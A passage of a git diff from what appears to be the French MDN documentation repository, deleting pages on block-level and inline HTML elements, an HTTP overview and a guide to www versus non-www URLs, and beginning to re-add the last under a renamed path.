- -

Il faut modifier la page web pour que celle-ci pointe d'abord vers le manifeste, avant le fichier vidéo en tant que tel :

- -
<video>
-  <source src="movie.mpd">
-  <source src="movie.webm">
-  Votre navigateur ne prend pas en charge les vidéos HTML.
-</video>
- -

C'est tout !
- Si le navigateur utilisé prend en charge DASH/MSE, la diffusion de la vidéo sera maintenant adaptative.

- -

Voir aussi

- - diff --git "a/files/fr/web/html/\303\251l\303\251ments_en_bloc/index.html" "b/files/fr/web/html/\303\251l\303\251ments_en_bloc/index.html" deleted file mode 100644 index c099de574f..0000000000 --- "a/files/fr/web/html/\303\251l\303\251ments_en_bloc/index.html" +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Éléments de bloc -slug: Web/HTML/Éléments_en_bloc -tags: - - Débutant - - HTML - - Web -translation_of: Web/HTML/Block-level_elements ---- -
{{HTMLSidebar}}
- -

Les éléments de bloc forment une catégorie d'éléments HTML (HyperText Markup Language) en opposition aux éléments en ligne.

- -

Leur caractéristique principale réside dans le fait qu'ils sont séparés par un saut de ligne avant et après l'élément (créant ainsi un « bloc » de contenu). On peut, en quelque sorte, les représenter comme des blocs empilés les uns sur les autres. Ce faisant, ils prennent la largeur de leurs conteneurs.

- -
-

Note : Un élément de bloc commence toujours sur une nouvelle ligne et prend toute la largeur disponible (autrement dit, il s'étend le plus possible vers la droite et vers la gauche).

-
- -

Exemples

- -

HTML

- -
<p>Ce paragraphe est un élément de bloc. Son fond a été coloré pour illustrer son conteneur.</p>
- -

CSS

- -
p {
-  background-color: #8ABB55;
-}
- -

Résultat

- -

{{EmbedLiveSample('Exemples')}}

- -

Contrainte

- -
    -
  • Les éléments de bloc ne peuvent apparaître qu'au sein d'un élément {{HTMLElement("body")}}
    • -
- -

Élément de bloc ou élément en ligne ?

- -

Les éléments de bloc diffèrent des éléments en ligne par :

- -
-
La mise en forme
-
Par défaut, les éléments de bloc commencent sur des nouvelles lignes.
-
Le modèle de contenu
-
De façon générale, les éléments de bloc peuvent contenir des éléments en ligne et d'autres éléments de bloc. L'idée structurelle sous-jacente est que les éléments de bloc créent de plus grandes structures que les éléments en ligne.
-
- -

La distinction entre bloc et ligne est utilisée dans les spécifications HTML jusqu'à la version 4.01. En HTML5, cette distinction binaire est remplacée par un ensemble plus complexe de catégories de contenu. La catégorie des éléments en bloc correspond approximativement à la catégorie de contenu de flux en HTML5, celle des éléments en ligne correspond à la catégorie de contenu phrasé. Il y a également d'autres catégories (le contenu interactif par exemple).

- -

Éléments

- -

La liste qui suit contient tous les éléments HTML en bloc (cette catégorie n'est pas strictement applicable pour les éléments apparus avec HTML5).

- -
-
-
{{HTMLElement("address")}}
-
Information de contact.
-
{{HTMLElement("article")}}
-
Contenu d'un article.
-
{{HTMLElement("aside")}}
-
Contenu tangentiel.
-
{{HTMLElement("blockquote")}}
-
Long bloc de citation.
-
{{HTMLElement("details")}}
-
Outil permettant de révéler des informations sur la page.
-
{{HTMLElement("dialog")}}
-
Boîte de dialogue.
-
{{HTMLElement("dd")}}
-
Description d'une définition.
-
{{HTMLElement("div")}}
-
Division d'un document.
-
{{HTMLElement("dl")}}
-
Liste de définitions.
-
{{HTMLElement("dt")}}
-
Définition/description d'un terme.
-
{{HTMLElement("fieldset")}}
-
Ensemble de champs.
-
{{HTMLElement("figcaption")}}
-
Légende d'une image.
-
{{HTMLElement("figure")}}
-
Permet de grouper des média avec une légende (voir {{HTMLElement("figcaption")}}).
-
{{HTMLElement("footer")}}
-
Bas de page ou de section.
-
{{HTMLElement("form")}}
-
Formulaire.
-
{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}
-
Éléments de titre de niveau 1 à 6.
-
{{HTMLElement("header")}}
-
En-tête de page ou de section.
-
{{HTMLElement("hgroup")}}
-
Information d'en-tête de groupe.
-
{{HTMLElement("hr")}}
-
Ligne de division horizontale.
-
{{HTMLElement("li")}}
-
Élément d'une liste.
-
{{HTMLElement("main")}}
-
Contient le contenu central unique au document.
-
{{HTMLElement("nav")}}
-
Contient des liens de navigation.
-
{{HTMLElement("ol")}}
-
Liste ordonnée.
-
{{HTMLElement("p")}}
-
Paragraphe.
-
{{HTMLElement("pre")}}
-
Texte pré-formaté.
-
{{HTMLElement("section")}}
-
Section d'une page web.
-
{{HTMLElement("table")}}
-
Tableau.
-
{{HTMLElement("ul")}}
-
Liste non-ordonnée.
-
-
- -

Voir aussi

- - diff --git "a/files/fr/web/html/\303\251l\303\251ments_en_ligne/index.html" "b/files/fr/web/html/\303\251l\303\251ments_en_ligne/index.html" deleted file mode 100644 index fb9207dd72..0000000000 --- "a/files/fr/web/html/\303\251l\303\251ments_en_ligne/index.html" +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Éléments en-ligne -slug: Web/HTML/Éléments_en_ligne -tags: - - Débutant - - Elements en ligne - - Guide - - HTML - - Reference -translation_of: Web/HTML/Inline_elements ---- -
{{HTMLSidebar}}
- -

En HTML, les éléments en ligne (inline elements en anglais) sont ceux qui occupent l'espace délimités par leurs balises plutôt que d'interrompre le flux du contenu. Dans cet article, nous étudierons ces éléments en ligne et également leurs différences quant aux éléments de bloc (block-level elements).

- -
-

Note : Un élément en ligne ne commence pas sur une nouvelle ligne et prend uniquement la largeur qui lui est nécessaire.

-
- -

Éléments en ligne et éléments de bloc : un exemple

- -

Un exemple vaut mieux qu'une longue explication. Voici pour commencer la feuille de style CSS que nous utiliserons :

- -
.highlight {
-  background-color:#ee3;
-}
- -

Élément en ligne

- -

Le fragment de code HTML qui suit utilise un élément en ligne avec la classe highlight :

- -
<p>The following span is an <span class="highlight">inline element</span>;
-its background has been colored to display both the beginning and end of
-the inline element's influence.</p>
- -

Dans cet exemple, l'élément {{HTMLElement("p")}} (le paragraphe) est un élément de bloc qui contient du texte. Dans ce texte, on a un élément {{HTMLElement("span")}} qui est un élément en ligne. L'élément <span> étant un élément en ligne, le paragraphe est bien affiché sous la forme d'un flux de texte sans rupture :

- -

{{EmbedLiveSample("Élément_en_ligne", 600, 80)}}

- - - -

Élément de bloc

- -

Transformons l'exemple précédent pour passer d'un élément <span> à un élément {{HTMLElement("div")}} qui est un élément de bloc :

- -
<p>The following div is an <div class="highlight">block-level element;</div>
-its background has been colored to display both the beginning and end of
-the block-level element's influence.</p>
- - - -

Et voici le résultat qu'on obtient :

- -

{{EmbedLiveSample("Élément_de_bloc", 600, 150)}}

- -

On voit ici que l'élément <div> modifie complètement la disposition du texte et le découpe en trois partie : une partie avant le <div>, une partie constituée avec le texte de l'élément <div> et une dernière partie ensuite.

- -

Modifier le type d'un d'élément

- -

Il est possible de choisir le mode d'affichage d'un élément afin de modifier son comportement par défaut grâce à la propriété CSS {{cssxref("display")}}. En passant la valeur de display de "inline" à "block", on peut indiquer au navigateur d'afficher l'élément comme une boîte de bloc plutôt que comme une boîte en ligne. Attention, l'élément ne sera plus affiché de la même façon, vérifiez le résultat obtenu. De plus, ce changement n'impactera pas la catégorie et le modèle de contenu de l'élément : utiliser display:block sur un élément {{HTMLElement("span")}} ne permettra toujours pas de lui imbriquer un élément {{HTMLElement("div")}} à l'intérieur.

- -

Différences conceptuelles

- -

Voici, en résumé, les différences conceptuelles entre les éléments en ligne et les éléments de bloc :

- -
-
Modèle de contenu
-
En général, les éléments en ligne ne peuvent contenir que des données ou d'autres éléments en ligne. Il n'est pas possible de placer des éléments de bloc à l'intérieur d'éléments en ligne.
-
Formatage
-
Par défaut, les éléments en ligne n'introduisent pas de saut de ligne dans le flux du document. En revanche, les éléments de bloc provoquent un saut de ligne (ce comportement peut être modifié grâce au CSS).
-
- -

Liste des éléments en ligne

- -

Les éléments HTML suivants sont, par défaut, des éléments en ligne :

- -
-
-
{{HTMLElement("a")}}
-
{{HTMLElement("abbr")}}
-
{{HTMLElement("acronym")}}
-
{{HTMLElement("audio")}} (if has visible controls)
-
{{HTMLElement("b")}}
-
{{HTMLElement("bdi")}}
-
{{HTMLElement("bdo")}}
-
{{HTMLElement("big")}}
-
{{HTMLElement("br")}}
-
{{HTMLElement("button")}}
-
{{HTMLElement("canvas")}}
-
{{HTMLElement("cite")}}
-
{{HTMLElement("code")}}
-
{{HTMLElement("data")}}
-
{{HTMLElement("datalist")}}
-
{{HTMLElement("del")}}
-
{{HTMLElement("dfn")}}
-
{{HTMLElement("em")}}
-
{{HTMLElement("embed")}}
-
{{HTMLElement("i")}}
-
{{HTMLElement("iframe")}}
-
{{HTMLElement("img")}}
-
{{HTMLElement("input")}}
-
{{HTMLElement("ins")}}
-
{{HTMLElement("kbd")}}
-
{{HTMLElement("label")}}
-
{{HTMLElement("map")}}
-
{{HTMLElement("mark")}}
-
{{HTMLElement("meter")}}
-
{{HTMLElement("noscript")}}
-
{{HTMLElement("object")}}
-
{{HTMLElement("output")}}
-
{{HTMLElement("picture")}}
-
{{HTMLElement("progress")}}
-
{{HTMLElement("q")}}
-
{{HTMLElement("ruby")}}
-
{{HTMLElement("s")}}
-
{{HTMLElement("samp")}}
-
{{HTMLElement("script")}}
-
{{HTMLElement("select")}}
-
{{HTMLElement("slot")}}
-
{{HTMLElement("small")}}
-
{{HTMLElement("span")}}
-
{{HTMLElement("strong")}}
-
{{HTMLElement("sub")}}
-
{{HTMLElement("sup")}}
-
{{HTMLElement("svg")}}
-
{{HTMLElement("template")}}
-
{{HTMLElement("textarea")}}
-
{{HTMLElement("time")}}
-
{{HTMLElement("u")}}
-
{{HTMLElement("tt")}}
-
{{HTMLElement("var")}}
-
{{HTMLElement("video")}}
-
{{HTMLElement("wbr")}}
-
-
- -

Voir aussi

- - diff --git "a/files/fr/web/http/aper\303\247u/index.html" "b/files/fr/web/http/aper\303\247u/index.html" deleted file mode 100644 index 33d2758ec2..0000000000 --- "a/files/fr/web/http/aper\303\247u/index.html" +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Un aperçu de HTTP -slug: Web/HTTP/Aperçu -tags: - - Aperçu - - HTML - - HTTP - - WebMechanics -translation_of: Web/HTTP/Overview ---- -
{{HTTPSidebar}}
- -

HTTP est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus.

- -

Un document web se compose de différentes ressources

- -

Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des requêtes et les messages renvoyés par le serveur sont appelés réponses.

- -

HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation. Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de la couche application dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web.

- -

Composants des systèmes basés sur HTTP

- -

HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur.

- -

Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une réponse. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple.

- -

chaîne client serveur

- -

En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP.

- -

Le client : l'agent  utilisateur

- -

L'agent utilisateur correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications.

- -

Le navigateur est toujours celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur).

- -

Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web.

- -

Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur.

- -

Le serveur web

- -

De l'autre côté du canal de communication, on trouve le serveur qui sert le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (load balancing) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande.

- -

D'une part, un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP.

- -

Les proxys

- -

Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations  au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées proxy. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches :

- -
    -
  • mettre en cache (le cache peut alors être public ou privé, comme le cache du navigateur)
    • -
  • filtrer (comme un antivirus, contrôle parental…)
    • -
  • répartir la charge (pour permettre à de multiples serveurs de servir différentes requêtes)
    • -
  • authentifier (pour contrôler l'accès à différentes ressources)
    • -
  • effectuer la journalisation (permettant le stockage des informations d'historiques)
    • -
- -

Principaux aspects d'HTTP

- -

HTTP est simple

- -

Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants.

- -

HTTP est extensible

- -

À partir de HTTP/1.0, les en-têtes HTTP permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes.

- -

HTTP est sans état, mais pas sans session

- -

HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état.

- -

HTTP et les connexions

- -

Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire.

- -

HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent chaudes sont plus efficaces que les communications froides.

- -

Afin de réduire ces défauts, HTTP/1.1 introduit le pipelining (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace

- -

Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente QUIC, construit sur UDP pour fournir un protocole de transport plus fiable et efficace.

- -

Ce qui peut être contrôlé par HTTP

- -

Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010.

- -

Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP.

- -
    -
  • Cache
    - La façon dont les documents sont mis en cache peut être contrôlée par HTTP. Le serveur peut indiquer aux proxys et aux clients ce qu'ils doivent mettre en cache et pour combien de temps. Le client peut indiquer aux proxys de cache intermédiaires d'ignorer le document qui est stocké.
    • -
  • Lever la contrainte d'origine unique
    - Pour éviter l'espionnage et d'autres invasions dans la vie privée, les navigateurs web imposent une séparation stricte entre les sites web. Seules les pages de la même {{Glossary("origine")}} peuvent accéder à toutes les informations d'une page web. Bien que cette contrainte soit un fardeau pour le serveur, les en-têtes HTTP peuvent assouplir cette séparation stricte du côté serveur, en permettant à un document de devenir un patchwork d'informations en provenance de différents domaines (il existe même des raisons de sécurité de procéder ainsi).
    • -
  • Authentification
    - Certaines pages peuvent être protégées de sorte que seuls certains utilisateurs puissent y accéder. Une authentification simple peut être fournie par HTTP, soit en utilisant l'en-tête {{HTTPHeader ("WWW-Authenticate")}} et des en-têtes similaires, soit en définissant une session spécifique grâce à des cookies HTTP.
    • -
  • Proxys et tunnels
    - Les serveurs et/ou les clients sont souvent situés sur des intranets et cachent leur véritable adresse IP à d'autres. Les requêtes HTTP passent ensuite par des proxys pour traverser cette barrière de réseau. Tous les proxys ne sont pas des proxys HTTP. Le protocole SOCKS, par exemple, fonctionne à un niveau inférieur. D'autres, comme FTP, peuvent être manipulés par ces proxys.
    • -
  • Sessions
    - L'utilisation de cookies HTTP permet de lier les requêtes à l'état du serveur. Cela crée des sessions, malgré le fait que HTTP soit, au sens strict, un protocole sans état. Ceci est utile non seulement pour les paniers de commerce électronique en ligne, mais aussi pour tout site permettant une configuration de l'utilisateur.
    • -
- -

Flux HTTP

- -

Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes :

- -
    -
  1. Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur.
    2. -
  2. Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même. - 
    GET / HTTP/1.1
-Host: developer.mozilla.org
-Accept-Language: fr
    -
    3. -
  3. Il lit la réponse envoyée par le serveur : - 
    HTTP/1.1 200 OK
-Date: Sat, 09 Oct 2010 14:28:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
-ETag: "51142bc1-7449-479b075b2891b"
-Accept-Ranges: bytes
-Content-Length: 29769
-Content-Type: text/html
-
-<!DOCTYPE html... (suivi des 29769 octets de la page web demandée)
    -
    4. -
  4. Il ferme ou réutilise la connexion pour les requêtes suivantes.
    5. -
- -

Si le pipeline HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le pipeline HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline HTTP a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames.

- -

Les messages HTTP

- -

Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1.

- -

Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format.

- -

Requêtes

- -

Un exemple de requête HTTP :

- -

Une requête HTTP basique

- -

Une requête comprend les éléments suivants :

- -
    -
  • Une méthode HTTP : généralement un verbe tel que {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} ou un nom comme {{HTTPMethod("OPTIONS")}} ou {{HTTPMethod("HEAD")}} qui définit l'opération que le client souhaite effectuer. Par exemple, un client souhaite accéder à une ressource (en utilisant GET) ou téléverser le résultat d'un formulaire HTML (en utilisant POST), bien que d'autres opérations puissent être nécessaires dans d'autres cas.
    • -
  • Le chemin de la ressource à extraire : l'URL de la ressource à laquelle on a retiré les éléments déductibles du contexte, par exemple le {{glossary ("protocole")}} (http://), le {{glossary ("domaine")}} (ici .mozilla.org), ou le {{glossary ("port")}} TCP (ici 80).
    • -
  • La version du protocole HTTP.
    • -
  • Les en-têtes optionnels qui transmettent des informations supplémentaires pour les serveurs.
    • -
  • Ou un corps, pour certaines méthodes comme POST, semblable à ceux dans les réponses, qui contiennent la ressource envoyée.
    • -
- -

Réponses

- -

Un exemple de réponse :

- -

une réponse HTTP

- -

Une réponse comprend les éléments suivants:

- -
    -
  • La version du protocole HTTP qu'elle suit
    • -
  • Un code de statut, qui indique si la requête a réussi ou non.
    • -
  • Un message de statut qui est une description rapide, informelle, du code de statut
    • -
  • Les en-têtes HTTP, comme pour les requêtes.
    • -
  • Éventuellement un corps contenant la ressource récupérée.
    • -
- -

Les APIs basées sur HTTP

- -

L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur.

- -

Une autre API, server-sent events, est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}.

- -

Conclusion

- -

HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web.

- -

Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple moniteur de message HTTP.

diff --git a/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html b/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html deleted file mode 100644 index fe94d1e4c9..0000000000 --- a/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Choisir entre les URLs avec ou sans www -slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www -tags: - - Guide - - HTTP - - URL -translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs ---- -
{{HTTPSidebar}}
- -

Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.

- -

Que sont les noms de domaines ?

- -

Dans une URL HTTP, la première chaîne qui suit le schéma http:// ou https:// est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.

- -

Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, un nom de domaine représente un seul serveur.

- -

Donc je dois choisir l'un ou l'autre pour mon site web ?

- -
    -
  • Oui, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...).
    • -
  • Non, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. Ce domaine est appelé le nom de domaine canonique. L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web.
    • -
- -

Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.

- -

Techniques pour les URLs canoniques

- -

Il existe différentes manières de choisir le site web qui sera le site canonique.

- -

Utiliser la redirection via HTTP 301

- -

Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.

- -

Exemple :

- -
    -
  1. Un serveur reçoit une requête pour https://www.exemple.org/kadoc (tandis que le domaine canonique est constitué par exemple.org)
    2. -
  2. Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}: https://exemple.org/kadoc.
    3. -
  3. Le client émet une requête pour le domaine canonique : https://exemple.org/kadoc
    4. -
- -

Le projet HTML5 boilerplate contient un exemple sur la configuration d'un serveur Apache afin de rediriger un domaine vers un autre.

- - - -

Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.

- -

Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent https://www.exemple.org/kadoc contiendrait le même contenu que https://exemple.org/kadoc, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :

- -

< link href="https://exemple.org/kadoc" rel="canonical">

- -

À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.

- -

Adapter votre page aux deux cas

- -

Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.

- -

Choisir www ou non

- -

Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire de nombreux articles sur ce sujet.

- -

Voir aussi

- - diff --git a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html new file mode 100644 index 0000000000..fe94d1e4c9 --- /dev/null +++ b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html @@ -0,0 +1,69 @@ +--- +title: Choisir entre les URLs avec ou sans www +slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www +tags: + - Guide + - HTTP + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +--- +
{{HTTPSidebar}}
+ +

